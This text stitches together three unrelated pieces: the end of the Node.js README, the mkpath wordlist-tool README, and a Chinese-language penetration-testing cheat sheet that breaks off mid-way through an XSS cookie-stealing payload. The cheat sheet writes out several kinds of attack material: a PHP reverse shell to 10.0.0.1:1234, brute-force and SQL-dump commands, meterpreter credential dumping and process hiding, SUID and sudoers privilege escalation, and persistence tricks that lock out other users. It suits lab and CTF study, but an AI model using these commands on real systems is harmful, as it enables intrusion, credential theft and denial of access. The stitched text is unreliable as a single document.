[shigeki](https://github.com/shigeki) - **Shigeki Ohtsu** <<[email protected]>> (he/him) * [silverwind](https://github.com/silverwind) - **Roman Reiss** <<[email protected]>> * [starkwang](https://github.com/starkwang) - **Weijia Wang** <<[email protected]>> * [stefanmb](https://github.com/stefanmb) - **Stefan Budeanu** <<[email protected]>> * [tellnes](https://github.com/tellnes) - **Christian Tellnes** <<[email protected]>> * [thefourtheye](https://github.com/thefourtheye) - **Sakthipriyan Vairamani** <<[email protected]>> (he/him) * [thlorenz](https://github.com/thlorenz) - **Thorsten Lorenz** <<[email protected]>> * [trevnorris](https://github.com/trevnorris) - **Trevor Norris** <<[email protected]>> * [tunniclm](https://github.com/tunniclm) - **Mike Tunnicliffe** <<[email protected]>> * [vkurchatkin](https://github.com/vkurchatkin) - **Vladimir Kurchatkin** <<[email protected]>> * [vsemozhetbyt](https://github.com/vsemozhetbyt) - **Vse Mozhet Byt** <<[email protected]>> (he/him) * [watson](https://github.com/watson) - **Thomas Watson** <<[email protected]>> * [whitlockjc](https://github.com/whitlockjc) - **Jeremy Whitlock** <<[email protected]>> * [yhwang](https://github.com/yhwang) - **Yihong Wang** <<[email protected]>> * [yorkie](https://github.com/yorkie) - **Yorkie Liu** <<[email protected]>> * [yosuke-furukawa](https://github.com/yosuke-furukawa) - **Yosuke Furukawa** <<[email protected]>> </details> <!--lint enable prohibited-strings--> Collaborators follow the [Collaborator Guide](./doc/contributing/collaborator-guide.md) in maintaining the Node.js project. ### Triagers * [Ayase-252](https://github.com/Ayase-252) - **Qingyu Deng** <<[email protected]>> * [bmuenzenmeyer](https://github.com/bmuenzenmeyer) - **Brian Muenzenmeyer** <<[email protected]>> (he/him) * [daeyeon](https://github.com/daeyeon) - **Daeyeon Jeong** <<[email protected]>> (he/him) * [F3n67u](https://github.com/F3n67u) - **Feng Yu** <<[email protected]>> (he/him) * [himadriganguly](https://github.com/himadriganguly) - **Himadri Ganguly** <<[email protected]>> (he/him) * [iam-frankqiu](https://github.com/iam-frankqiu) - **Frank Qiu** <<[email protected]>> (he/him) * [kvakil](https://github.com/kvakil) - **Keyhan Vakil** <<[email protected]>> (they/them) * [marsonya](https://github.com/marsonya) - **Akhil Marsonya** <<[email protected]>> (he/him) * [meixg](https://github.com/meixg) - **Xuguang Mei** <<[email protected]>> (he/him) * [Mesteery](https://github.com/Mesteery) - **Mestery** <<[email protected]>> (he/him) * [MoLow](https://github.com/MoLow) - **Moshe Atlow** <<[email protected]>> (he/him) * [PoojaDurgad](https://github.com/PoojaDurgad) - **Pooja Durgad** <<[email protected]>> * [RaisinTen](https://github.com/RaisinTen) - **Darshan Sen** <<[email protected]>> * [VoltrexKeyva](https://github.com/VoltrexKeyva) - **Mohammed Keyvanzadeh** <<[email protected]>> (he/him) Triagers follow the [Triage Guide](./doc/contributing/issues.md#triaging-a-bug-report) when responding to new issues. ### Release keys Primary GPG keys for Node.js Releasers (some Releasers sign with subkeys): * **Beth Griggs** <<[email protected]>> `4ED778F539E3634C779C87C6D7062848A1AB005C` * **Bryan English** <<[email protected]>> `141F07595B7B3FFE74309A937405533BE57C7D57` * **Danielle Adams** <<[email protected]>> `74F12602B6F1C4E913FAA37AD3A89613643B6201` * **Juan José Arboleda** <<[email protected]>> `DD792F5973C6DE52C432CBDAC77ABFA00DDBF2B7` * **Michaël Zasso** <<[email protected]>> `8FCCA13FEF1D0C2E91008E09770F7A9A5AE15600` * **Myles Borins** <<[email protected]>> `C4F0DFFF4E8C1A8236409D08E73BC641CC11F4C8` * **RafaelGSS** <<[email protected]>> `890C08DB8579162FEE0DF9DB8BEAB4DFCF555EF4` * **Richard Lau** <<[email protected]>> `C82FA3AE1CBEDC6BE46B9360C43CEC45C17AB93C` * **Ruy Adorno** <<[email protected]>> `108F52B48DB57BB0CC439B2997B01419BD92F80A` To import the full set of trusted release keys (including subkeys possibly used to sign releases): ```bash gpg --keyserver hkps://keys.openpgp.org --recv-keys 4ED778F539E3634C779C87C6D7062848A1AB005C gpg --keyserver hkps://keys.openpgp.org --recv-keys 141F07595B7B3FFE74309A937405533BE57C7D57 gpg --keyserver hkps://keys.openpgp.org --recv-keys 74F12602B6F1C4E913FAA37AD3A89613643B6201 gpg --keyserver hkps://keys.openpgp.org --recv-keys DD792F5973C6DE52C432CBDAC77ABFA00DDBF2B7 gpg --keyserver hkps://keys.openpgp.org --recv-keys 8FCCA13FEF1D0C2E91008E09770F7A9A5AE15600 gpg --keyserver hkps://keys.openpgp.org --recv-keys C4F0DFFF4E8C1A8236409D08E73BC641CC11F4C8 gpg --keyserver hkps://keys.openpgp.org --recv-keys 890C08DB8579162FEE0DF9DB8BEAB4DFCF555EF4 gpg --keyserver hkps://keys.openpgp.org --recv-keys C82FA3AE1CBEDC6BE46B9360C43CEC45C17AB93C gpg --keyserver hkps://keys.openpgp.org --recv-keys 108F52B48DB57BB0CC439B2997B01419BD92F80A ``` See [Verifying binaries](#verifying-binaries) for how to use these keys to verify a downloaded file. <details> <summary>Other keys used to sign some previous releases</summary> * **Chris Dickinson** <<[email protected]>> `9554F04D7259F04124DE6B476D5A82AC7E37093B` * **Colin Ihrig** <<[email protected]>> `94AE36675C464D64BAFA68DD7434390BDBE9B9C5` * **Danielle Adams** <<[email protected]>> `1C050899334244A8AF75E53792EF661D867B9DFA` * **Evan Lucas** <<[email protected]>> `B9AE9905FFD7803F25714661B63B535A4C206CA9` * **Gibson Fahnestock** <<[email protected]>> `77984A986EBC2AA786BC0F66B01FBB92821C587A` * **Isaac Z. Schlueter** <<[email protected]>> `93C7E9E91B49E432C2F75674B0A78B0A6C481CF6` * **Italo A. Casas** <<[email protected]>> `56730D5401028683275BD23C23EFEFE93C4CFFFE` * **James M Snell** <<[email protected]>> `71DCFD284A79C3B38668286BC97EC7A07EDE3FC1` * **Jeremiah Senkpiel** <<[email protected]>> `FD3A5288F042B6850C66B31F09FE44734EB7990E` * **Juan José Arboleda** <<[email protected]>> `61FC681DFB92A079F1685E77973F295594EC4689` * **Julien Gilli** <<[email protected]>> `114F43EE0176B71C7BC219DD50A3051F888C628D` * **Rod Vagg** <<[email protected]>> `DD8F2338BAE7501E3DD5AC78C273792F7D83545D` * **Ruben Bridgewater** <<[email protected]>> `A48C2BEE680E841632CD4E44F07496B3EB3C1762` * **Shelley Vohr** <<[email protected]>> `B9E2F5981AA6E0CD28160D9FF13993A75599653C` * **Timothy J Fontaine** <<[email protected]>> `7937DFD2AB06298B2293C3187D33FF9D0246406D` </details> ### Security release stewards When possible, the commitment to take slots in the security release steward rotation is made by companies in order to ensure individuals who act as security stewards have the support and recognition from their employer to be able to prioritize security releases. Security release stewards manage security releases on a rotation basis as outlined in the [security release process](./doc/contributing/security-release-process.md). * Datadog * [bengl](https://github.com/bengl) - **Bryan English** <<[email protected]>> (he/him) * NearForm * [RafaelGSS](https://github.com/RafaelGSS) - **Rafael Gonzaga** <<[email protected]>> (he/him) * NodeSource * [juanarbol](https://github.com/juanarbol) - **Juan José Arboleda** <<[email protected]>> (he/him) * Platformatic * [mcollina](https://github.com/mcollina) - **Matteo Collina** <<[email protected]>> (he/him) * Red Hat and IBM * [joesepi](https://github.com/joesepi) - **Joe Sepi** <<[email protected]>> (he/him) * [mhdawson](https://github.com/mhdawson) - **Michael Dawson** <<[email protected]>> (he/him) ## License Node.js is available under the [MIT license](https://opensource.org/licenses/MIT). Node.js also includes external libraries that are available under a variety of licenses. See [LICENSE](https://github.com/nodejs/node/blob/HEAD/LICENSE) for the full license text. [Code of Conduct]: https://github.com/nodejs/admin/blob/HEAD/CODE_OF_CONDUCT.md [Contributing to the project]: CONTRIBUTING.md [Node.js website]: https://nodejs.org/ [OpenJS Foundation]: https://openjsf.org/ [Strategic initiatives]: doc/contributing/strategic-initiatives.md [Technical values and prioritization]: doc/contributing/technical-values.md [Working Groups]: https://github.com/nodejs/TSC/blob/HEAD/WORKING_GROUPS.md
<h1 align="center">mkpath <a href="https://twitter.com/intent/tweet?text=mkpath%20-%20Make%20URL%20path%20combinations%20using%20a%20wordlist%20%40trick3st%0Ahttps%3A%2F%2Fgithub.com%2Ftrickest%2Fmkpath&hashtags=bugbounty,bugbountytips,infosec"><img src="https://img.shields.io/badge/Tweet--lightgrey?logo=twitter&style=social" alt="Tweet" height="20"/></a></h1> <h3 align="center">Make URL path combinations using a wordlist</h3> ![mkpath](mkpath.png "mkpath") Read a wordlist file and generate path combinations for given domain or list of domains. Input from wordlist file is lowercased and unique words are processed. Additionally, wordlist can be filtered using regex. When you use mkpath's `-l` parameter, it will generate all path combinations up to the specified level, including all lower levels, using words from the wordlist. For instance, with `-l 2`, it will generate `len(permutation_list)^2 + len(permutation_list)` results, which is: - 30 combinations for a 5-word wordlist. - 10100 combinations for a 100-word wordlist. - 250500 combinations for a 500-word wordlist. # Installation ## Binary Binaries are available in the [latest release](https://github.com/trickest/mkpath/releases/latest). ## Docker ``` docker run quay.io/trickest/mkpath ``` ## From source ``` go install github.com/trickest/mkpath@latest ``` # Usage ``` -d string Input domain -df string Input domain file, one domain per line -l int URL path depth to generate (default 1) (default 1) -lower Convert wordlist file content to lowercase (default false) -o string Output file (optional) -only-dirs Generate directories only, files are filtered out (default false) -only-files Generate files only, file names are appended to given domains (default false) -r string Regex to filter words from wordlist file -t int Number of threads for every path depth (default 100) -w string Wordlist file ``` ### Example ##### wordlist.txt ``` dev prod/ admin.py app/login.html ``` ```shell script $ mkpath -d example.com -l 2 -w wordlist.txt example.com/dev example.com/prod example.com/dev/dev example.com/prod/dev example.com/dev/prod example.com/prod/prod example.com/dev/admin.py example.com/dev/app/login.html example.com/prod/admin.py example.com/prod/app/login.html example.com/dev/dev/admin.py example.com/dev/dev/app/login.html example.com/prod/dev/admin.py example.com/prod/dev/app/login.html example.com/dev/prod/admin.py example.com/dev/prod/app/login.html example.com/prod/prod/admin.py example.com/prod/prod/app/login.html ``` # Report Bugs / Feedback We look forward to any feedback you want to share with us or if you're stuck with a problem you can contact us at [[email protected]](mailto:[email protected]). You can also create an [Issue](https://github.com/trickest/mkpath/issues/new) or pull request on the Github repository. # Where does this fit in your methodology? Mkpath is an integral part of many workflows in the Trickest store. Sign up on [trickest.com](https://trickest.com) to get access to these workflows or build your own from scratch! [<img src="./banner.png" />](https://trickest-access.paperform.co/)
Pentest CheatSheet & Learning === Directory === - [Steps](#Steps) - [Tools](#Tools) - [Common Attack Steps](#Common-Attack-Steps) - [Others](#Others) Helpful Resource === - [Ctf CheatSheet](https://github.com/w181496/Web-CTF-Cheatsheet) - [Cyber Chef](https://gchq.github.io/CyberChef/) - [hash db online - md5hashing](https://md5hashing.net/) - [hash db online - md5decrypt](https://md5decrypt.net/en/) - [reverse shell - pentestmonkey](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) - [privilege escalation](https://gtfobins.github.io/) - [Exploit-db](https://www.exploit-db.com/) Learning Resource === - DVWA - XVMA - Mutillidae - JuiceShop - VulnBank - Tryhackme - WebGoat - HackTheBox # Common Attack Steps 1. 用 `nmap` 掃描開啟的 port 與服務 2. 根據服務版本: - 攻擊公開漏洞(CVE) - 攻擊錯誤設定 - 常見的脆弱服務 1. FTP `ftp <ip>` 2. NFS `showmount -e <ip>` `mount <ip>:/path /local/path` `unmount /local/path` 3. MYSQL 4. smb 1. 用 enum4linux 找 smb info 2. 用 nmap 找 share file info - `nmap -p <port> --script=smb-enum-shares.nse,smb-enum-users.nse <ip>` 3. access share folder ```shell smbclient //10.10.32.206/<share_path> ``` 5. nfs - 可以先用 nmap 找 rpcbind 是否有 NFS server - 看 mount info - `showmount -e <ip>` 3. web-server - dirsearch 4. get shell - 可以用的 command, ex: - curl - wget - 等等 - 想盡辦法生出 reverse-shell file - php reverse-shell ```php $sock = fsockopen("10.0.0.1",1234); exec("cmd.exe <&3 >&3 2>&3"); // windows exec("/bin/bash -i <&3 >&3 2>&3"); // linux ``` 5. 當有了 shell - `id` - `cat /etc/password` - `hostname` 6. king of the hill - `export term=xterm` - 解決 vim 無法使用的問題 - `stty raw -echo` - 使 tty 不會 repeat echo - `lsof -P -i -n` (list of open file) - 列出當前使用中的 port - /etc/ssh/sshd_config - `chattr +i <file>` - 為 file 加上 immutable 的 attribute - `lsattr` 可以列出 attribute - 可以再 `rm which chattr` 達到 combo - `ps aux | grep pts` - 列出當前有使用的 pts - `while :; do echo "kotH" > king.txt; done` - 印東西的腳本 - `who` - 查看 username and pty - `touch /etc/nologin` - 禁止除了 root 以外的使用者登入, 並回傳 nologin 內容 - 移除 nologin 即可取消 # Tools > 常用工具 - linux command - `find / 2>>/dev/null | grep <filename_you_want>`: 從 / 找特定檔案 - `find / 2>>/dev/null | grep -i <filename_you_want>`: 檔名大小寫無關 - nmap - [link](https://kknews.cc/zh-tw/code/34np938.html) - 掃 port ```shell ## -SU UDP scanning ## -sT is a TCP connect scan(which is the same as the 3 way handshake). It uses this to check if the port is open ## -sS is a TCP stealth scan which only sends one packet to see if the TCP port is open ## -p port-number is used to specify what port to scan: ## -p- can also be used to scan all the ports ## -F is a common flag used to specify the top 250 common ports ## -O is used to determine the host operating system ## -sC is used to run default scripts. NMAP has particular scripts it can run against services running on hosts to gain more information ## -sV is used to determine the versions of services running on open ports ## -T is used to specify the timing with 1 being the slowest and 5 being the fastest. The faster the scan, the more unreliable the results. A good compromise is 3 ## -Pn: only scan if service ## -oA is used to store the output in all the formats provided by nmap ## .nmap ## .gnmap ## .xml ## -oN <file>: Output scan in normal format to the given filename ## -p-: all port ## --------- # example nmap -sT -p <port-number> -O -sC -sV -T[1-5] -oA <output-file-name> <ip-address> # john hammond recommand nmap -sC -sV -oN nmap/initial ip # vuln script ## /usr/share/nmap/scripts 下有所有可用的 script nmap -sV -vv --script=vuln -oN nmap.log 10.10.242.151 ## 看有沒有相關服務的漏洞 nmap -sV -vv --script=sub* -oN nmap.log 10.10.242.151 ## 只看相關的漏洞 # my options nmap -p 1-3306 -T4 -sC -sV -O -oN l1nmap.log ip nmap -p 3307-10000 -T5 -sC -sV -O -oN l2nmap.log ip ``` - dirsearch - [link](https://github.com/maurosoria/dirsearch) - 掃dir ```shell ## python3 dirsearch -u <URL> -e <ext> python3 dirsearch -u 192.168.1.1 -e * ``` - hydra - [link](https://github.com/vanhauser-thc/thc-hydra) - [tutorial](https://blog.tryhackme.com/hydra/) - brute-force ```shell ## hydra -L <USER> -P <Password> <IP Address> -s <PORT> http-post-form "<Login Page>:<Request Body>:<Error Message>" ## Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP hydra -L usernames.txt -P passlist.txt 10.10.226.189 -s 3000 http-post-form "/sysadmin:username=^USER^&password=^PASS^:login failed:H=Cookie: PHPSESSION=<value>" hydra -l user -P password.txt ftp://<ip> hydra -l user -P password.txt ip -t 4 ssh ## json hydra -l user -P password.txt ip http-post-form '/api/login:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:F=failed message:H=Accept: */*:H=Content-Type: application/json' ``` - wpscan - [link](https://github.com/wpscanteam/wpscan) - WordPress Security Scanner - 單純掃 wp 會比 hydra 快很多 ```shell wpscan --url <url> --usernames <name_file or name> --passwords <password_file or password> ``` - enum4linux - `apt install enum4linux` - samba scanning ```shell ## -U: userlist ## -o: OS info ## -a: all enum4linux -a 192.168.1.1 ``` - metasloipt - [link](https://github.com/rapid7/metasploit-framework) - [tutorial for meterpreter](https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/) - [tutorial for meterpreter2](https://www.bodkin.ren/index.php/archives/458/) - [tutorial for meterpreter3](https://xz.aliyun.com/t/2536) - 初始化 DB `msfdb init` - a penetration testing framework ```shell # exploit vs aux module ## exploit need associated payload ## aux don't # meterpreter shell ## Meterpreter is metasploits own "control center" where you can do various things to interact with the machine. ## post/multi/manage/shell_to_meterpreter download <file> upload <src_file> <dst_file> shell ## create shell execute <command> search <file> background ## put meterpreter shell to background ## -j: exploit to run in the background msfconsole msf5> search <module> msf5> use <module> msf5> info msf5> show options msf5> show payloads msf5> set option value msf5> set PAYLOAD <payload_name> msf5> run msf5> sessions -i <session_number> ## interact with session number msf5> sessions -u <session_number>## Escalate privileges msf5> sessions -k <session_number> msf5> migrate -N <process_name> (ex. winlogon.exe) ## migrate meterpreter to another process msf5> db_nmap -sV <IP> ## nmap ## module auxiliary/scanner/<service>/<use> ## brute-force service ## get meterpreter msf5> use exploit/multi/handler msf5> background msf5> use multi/manage/shell_to_meterpreter ## and SESSION ## powerful module unix/webapp/wp_admin_shell_upload ## get wp admin and generate reverse shell ## powerful payload list multi/http/tomcat_mgr_upload ## tomcat upload file scanner/http/tomcat_mgr_login ## tomcat login ## hide # use windows spoolsv.exe to hide meterpreter> migrate <pid> meterpreter> getuid meterpreter> sysinfo meterpreter> load kiwi ## great post-exploitation tool meterpreter> run post/windows/gather/checkvm ## check if vm meterpreter> run post/multi/recon/local_exploit_suggester ## suggestions priv escalation meterpreter> run post/windows/manage/enable_rdp ## get rdp meterpreter> use priv ## Mimikatz is a rather infamous password dumping tool meterpreter> load kiwi meterpreter> creds_all meterpreter> screenshare ## ``` - ![](https://i.imgur.com/P6WU38u.png) - `msf5> load` for load module - diff types module 1. exploit: holds all of exploit code 2. payload: contains the various bits of shellcode we send to have executed following exploitation 3. auxiliary: scanning and verification machines are exploitable 4. post: after exploitation, it can loot and pivot 5. encoder: modify 'appearance' of exploit that avoid signature detection 6. NOP: use for buffer overflow and ROP attack - linpeas - [link](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) - privilege-esccalation ```shell ## /dev/shm 為 tmpfs 的裝置 ./linpeas.sh ``` - john the ripper - [link](https://www.openwall.com/john/) - `apt install john` - crack password - ssh (use for id_rsa) ```shell ## package path: `/usr/share/john/ssh2john.py` ## --format=<hash_mode> ex. raw-md5, raw-sha1 ## --wordlist=<wordlist_path> # 要用 sudo 跑 ``` - hashcat - [link](https://github.com/hashcat/hashcat) - [hash example](https://hashcat.net/wiki/doku.php?id=example_hashes) - [online crachhash](https://crackstation.net/) 看 hash 開頭分析是哪種 hash 方式 ex. `$6$ => SHA512` - `apt install hashcat` - [tutorial](https://www.bodkin.ren/index.php/archives/315/) - crack hash password ```shell ## -a --attack-mode : 0 -> Straight ## -m --hash-type ## --force: ignore warning ## 1800: sha256 (unix) ## 500: md5 (unix) hashcat -m 1800 -a 0 -o result.log <hash.txt> <rockyou.txt> ``` - hashcat-util - [link](https://github.com/hashcat/hashcat-utils/releases) - 一些可以產生 rule, wordlist 的工具 ```shell ./combinator.bin <wordlist1> <wordlist2> > <mywordlist> ``` - wireshark - right click package, select `Follow TCP Stream`: - applies a display filter which selects all the packets in the current stream - show 出整個 tcp stream 所有的資訊 - File -> Export Objects -> HTTP -> save all - 將檔案萃取出來 - Statistic -> conversation - 查看所有封包的溝通 - filter - `frame contains "import"` - 取得 package that content 包含 import 字串 - `tcp.port == 33` - `id.addr == 10.10.10.10` - right click -> decode as - 可以用不同的 protocol 來分析 - telephony (menu item) 可以解析影音傳送的 protocol 來產生影音 - sha1sum - 求 sha1sum 的 hash value ```shell sha1sum <file> ``` - exiftool - `apt install exiftool - reading metadata on files ```shell exiftool <img_file> ``` - wayback machine - [link](https://web.archive.org/) - 網站時光機,可以瀏覽網站以前的模樣 - xxd - 將 hex 轉成 bin or ascii ```shell echo <hex_value> | xxd -r -p ``` - steghide - [tutorial](https://www.itread01.com/content/1541878342.html) - ` apt install steghide` - 將隱寫的資料找出 ```shell steghide extract -xf <file> ``` - zsteg - `gem install zsteg` - zsteg : png == steghide : jpg ```shell zsteg <filename> ``` - stegoveritas - `pip3 install stegoveritas` - fcrackzip - `apt install fcrackzip` - 暴力破解 zip ``` fcrackzip -b --method 2 -D -p ~/wordlist/rockyou.txt -v <file_name> ``` - netcat - ` apt install netcat` - 暫時的 listening 模式 ```shell ## -l : listen ## -v : verbose ## -n : numeric-only IP addresses ## -p : port nc -lvnp 80 ``` - sqlmap - `git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev` - [tutorial](https://www.itread01.com/content/1549702982.html) - [sql injection cheat sheet](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/) - 偵測是否有 sql injection 的漏洞 ```shell ## -u <url> ## -r <raw_file> ## -p <parameter> ex. "id,user,password" ## --level=<level> ## --dbms <db_type> ex. "Mysql" # --batch : 全部默認 (good) ## 當前 db python3 sqlmap.py -r <xml_file> --current-db ## list all db python3 sqlmap.py -r <xml_file> --dbs -batch ## 指定 database 找 table python3 sqlmap.py -r <xml_file> -D <db_name> --tables --batch ## 指定 db & table 找資料 python3 sqlmap.py -r <xml_file> -D <db_name> -T <table_name> --dump ## 以上所有 python3 sqlmap.py -r <xml_file> --dump-all ## 查看 payload python3 sqlmap.py -u <url> --forms --batch --dump-all -v 3 ``` - burpsuite - 可以攔截封包資訊,在做出不同的操作 - [tutorial](https://blog.tryhackme.com/setting-up-burp/) - searchsploit - a command line search tool for Exploit-DB - `apt update && apt -y install exploitdb` - [tutorial](https://www.exploit-db.com/searchsploit) - meterpreter - [tutorial](https://paper.seebug.org/29/) - escalate privilege shell ```shell ## Dump all of the passwords on the machine as long as we have the correct privileges to do so hashdump ## search file search -f ``` - nikto - Nikto is a Perl based open-source web vulnerability scanner that can unearth every other potential threat on your web server including but not limited to - `apt-get install nikto -y` - ![](https://i.imgur.com/B9D9PA0.png) - [tutorial](https://www.mankier.com/1/nikto) ```shell ## -h: host nikto -h <url> ``` - gobuster - 比 dirsearch 更靠普... - Gobuster is a tool used to brute-force: - URIs (directories and files) in web sites - DNS subdomains (with wildcard support) - Virtual Host names on target web servers - [link](https://github.com/OJ/gobuster) ```shell ## -x: extension ## -w: wordlist ## -U: username ## -P: password ## -k: skip ssl ## -H: headers ## --timeout: sec # 有時候會因為掃到較大的檔案而噴 timeout error, 所以要把 timeout 設大一點 gobuster dir -u <url> -w <wordlist> --timeout 30s -x "zip,php,html" ## common.txt => 檔案 ## dir => 路徑 ## usernames.txt => 使用者 ## rockyou.txt => 密碼 ## brute force 時, 使用者通常都用小寫 ``` - hash-identifier - 分析 hash 種類 - `apt install hash-identifier` ```shell hash-identifier ``` - smbmap - allows users to enumerate samba share drives across an entire domain - [link](https://github.com/ShawnDEvans/smbmap) ```shell ## -u: username ## -p: password ## -H: host ## -x: run command on server smbsql -u "admin" -p "password" -H 10.10.10.10 -x "ipconfig" ``` - binwalk - [link](https://github.com/ReFirmLabs/binwalk) - Binwalk is a fast, easy to use tool for analyzing, reverse engineering, and extracting firmware images - `sudo apt install binwalk` - extract 出圖片 or 壓縮檔 ```shell ## Extract <type> signatures, give the files an extension of <ext>, and execute <cmd> binwalk --dd='.*' <file> ## Automatically extract known file types binwalk -e <file> ``` - http server - 可以暫時開啟一個 http.server, 用於傳輸檔案或是得到 xss 的 cookies ```shell python -m http.server ``` - source 如下 ```python import http.server import socketserver PORT = 8000 Handler = http.server.SimpleHTTPRequestHandler with socketserver.TCPServer(("", PORT), Handler) as httpd: print("serving at port", PORT) httpd.serve_forever() ``` - shodan - autonomous system number (ASN) is a global identifier of a range of IP addresses - 像是 google 的 ASN 為 `AS14061`, 可以在網路上找到他所擁有的 IP range - 而 shodan 能夠藉由搜尋所有的 ASN, 紀錄開啟的服務 - filter - `ASN:<ASN_number>` - `port:<port_number>` - `product:<product_name> ex.mysql, nginx` - `Server:<server_name> ex. Server: SQ-WEBCAM` - City - Country - Geo (coordinates) - Hostname - net (based on IP / CIDR) - os (find operating systems) - port - before/after (timeframes) - tineye - 用於 reverse image search - reverse image search 能夠找到相似圖片 or 圖片的相關訊息 - [tineye](https://tineye.com/) - [Yandex](https://yandex.com/) - Sublist3r - a fantastic python script that allows us to perform quick and easy recon(reconnaissance) against our target, discovering various subdomains associated with the websites/domains in scope ```shell python3 sublist3r.py -d <domain> -e <engine> -o <output_file> -T <thread_num> [-b] ``` - pgp&gpg&asc - pgp (Pretty Good Privacy):利用 public/private keys 加解密 - gpg 是用來加密解密的軟體 - GPG can open and decrypt files encrypted by PGP or Open PGP - asc: an ASCII-armored representation of key material (or a signature) - [tutorial](https://superuser.com/questions/46461/decrypt-pgp-file-using-asc-key) - [know](https://stackoverflow.com/questions/58929260/what-are-the-meaningful-differences-between-gpg-sig-asc) ```shell gpg2john <private_key_file> john <above_output> ## get passphrase gpg --import <private_key_file> ## and then enter passphrase gpg --decrypt file.pgp ``` - aircrack-ng - air\*系列 - aircrack-ng:無線密碼破解 - aireplay-ng:流量生成和客戶端認證 - airodump-ng:資料包捕獲 - airbase-ng:虛假接入點配置 - 分析(攻擊)無線網路的軟體,能偵測package - 攻擊方法 - [tutorial](https://www.itread01.com/content/1543852627.html) - WEP:解析大量封包,分析加密資訊並解密 - WPA/WPA2:攔截 handshake 封包並 brute force - 指令 ```shell ## 開啟 wlan0 的 monitor mode airmon-ng start wlan0 ## 會有 wlan0mon ## 用 monitor mode 的無線網卡抓封包 airodump-ng wlan0mon # airodump-ng ## flag --bssid: 設 bssid <router_id> --channel: 設 channel -w <path>: write # aircrack-ng aircrack-ng -b <bssid> -e <essid> -w <wordlist> <cap_file> ## use hashcat crack aircrack-ng -j <new_file> <file.cap> hashcat -m 2500 -o result.log <file> <rockyou.txt> ## flag -b <bssid>: bssid -e <essid>: essid -j <file>: cap => HCCAPX ``` - grep - 用 grep 撈特定 wordlist ```shell grep -x '.\{8,20\}' ## 長度 8-20 grep -o '[^ ]*[a-z][^ ]*' ## 包含小寫 grep -o '[^ ]*[A-Z][^ ]*' ## 包含大寫 grep -o '[^ ]*[0-9][^ ]*' ## 包含數字 grep -v '^[a-zA-Z0-9]*$' ## 包含特殊字元 ($為 end of line) ``` - awk - command ```shell awk 'length == 3' <file> ``` - sed - command ```shell sed 's/.*/PREFIX&SUFFIX/' file cat file | sed 's/.*/prefix&suffix/' ``` - HiddenEye - [link](https://github.com/DarkSecDevelopers/HiddenEye) - create a phishing page - impacket - [link](https://github.com/SecureAuthCorp/impacket) - providing low-level programmatic access to the packets - kerbrute - [link](https://github.com/ropnop/kerbrute/releases) - A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication ```shell kerbrute userenum ## ``` - pspy - [link](https://github.com/DominicBreuker/pspy) - Monitor linux processes without root permissions ```shell ./pspy ``` - CMS scanner - wordpress - [WPScan](https://github.com/wpscanteam/wpscan) - joomla - [joomscan](https://github.com/rezasp/joomscan) ``` perl joomscan.pl <options> ``` - Drupal - [droopescan](https://github.com/droope/droopescan) # Others - data exfiltration - ![](https://i.imgur.com/JJufauw.png) - the technique of transferring unauthorized data out of the network - 多出現於 DNS 封包分析 (UDP) - privilege escalations - SUID/SGID/SBIT - ![](https://i.imgur.com/aOBglKB.png) - ![](https://i.imgur.com/LuYUMWG.png) - ![](https://i.imgur.com/18r8FQ8.png) - SUID (Set UID) (4) - 檔案在執行時,檔案的執行身分會暫時變為檔案持有者 - SGID (Set GID) (2) - 檔案在執行時,檔案的有效群組會暫時變成該檔案的擁有群組 - 設在目錄時,則該目錄的「擁有群組」會自動設定到其下所建立的檔案 (或子目錄) ```shell ## 存根目錄下找 root 的檔案,並且執行後擁有 root 權限 ## -perm -4000: 4: SUID bit (or 寫成 -perm -u=s) ## -exec ls -ldb {} \; : execute ls -ldb find / -user root -perm -4000 -exec ls -ldb {} \; find <file_name> -exec cat {} \; ``` - 程式漏洞 - [link](https://gtfobins.github.io/) - 找可以用 root 跑的程式 ```shell sudo -l ``` - crontab - 在 cronjob 的腳本中加入指令, 等待 cronjob 被執行後, 即可提升權限 - 直接提升 sh 權限 ```shell chmod u+s /bin/sh /bin/sh -p ## do not drop privilege /bin/bash -p ## maintain privilege, too ``` - user 有 sudo 權限 ```shell user ALL=(root) NOPASSWD: ALL ``` - /etc/update-motd.d/* - 控制 linux user welcome message - this file is run as root - in docker group - 如果使用者在 docker group 內的話, 代表他可以使用 docker 的相關功能, docker 的 mount(volumes) 也可以使用 - `docker run -v /root:/root it(or cat /root/root.txt)` - 如果 `https://gtfobins.github.io/` 有就用 - 如果沒有,找各個服務的版本,並找 local privilege escalation - ftp-anonymous - 將使用者名稱設為 anonymous, 即可輸入任意密碼登入 ```shell ftp <ip> user> anonymous pass> any ## 連完後 mode 改成 passive passive ## 取得檔案 get <file_name> ``` - 也可以用 nc 連線 ```shell nc <ip> <port> ``` - encryption - 對稱性 - 鑰匙都用同一把 - gpg ```shell gpg -c <data> ## 加密 gpg -d <data.gpg> ## 解密 ``` - 非對稱性 - 公鑰加密、私鑰解密 - openssl ```shell ## 加密 openssl rsautl -encrypt -pubin -inkey public.key -in <file.txt> -out encrypted ## 解密 openssl rsautl -decrypt -inkey private.key -in <encrypted.txt> -out file.txt ``` - 檔案損毀 - md5 ```shell md5sum <file> ``` - LFI (local file injection) - 有著 `?include_file=<filename>` url, 修改 filename 的位置, 存取到隱密資料 - %2F 可以繞過 url `/` 的跳脫 - XSS (cross-site scripting) - 透過 javascript, 將使用者資料導向自己的網站, 並從參數中獲得 cookies - 常見 payload ```javascript // 偷 cookies <script>window.location = 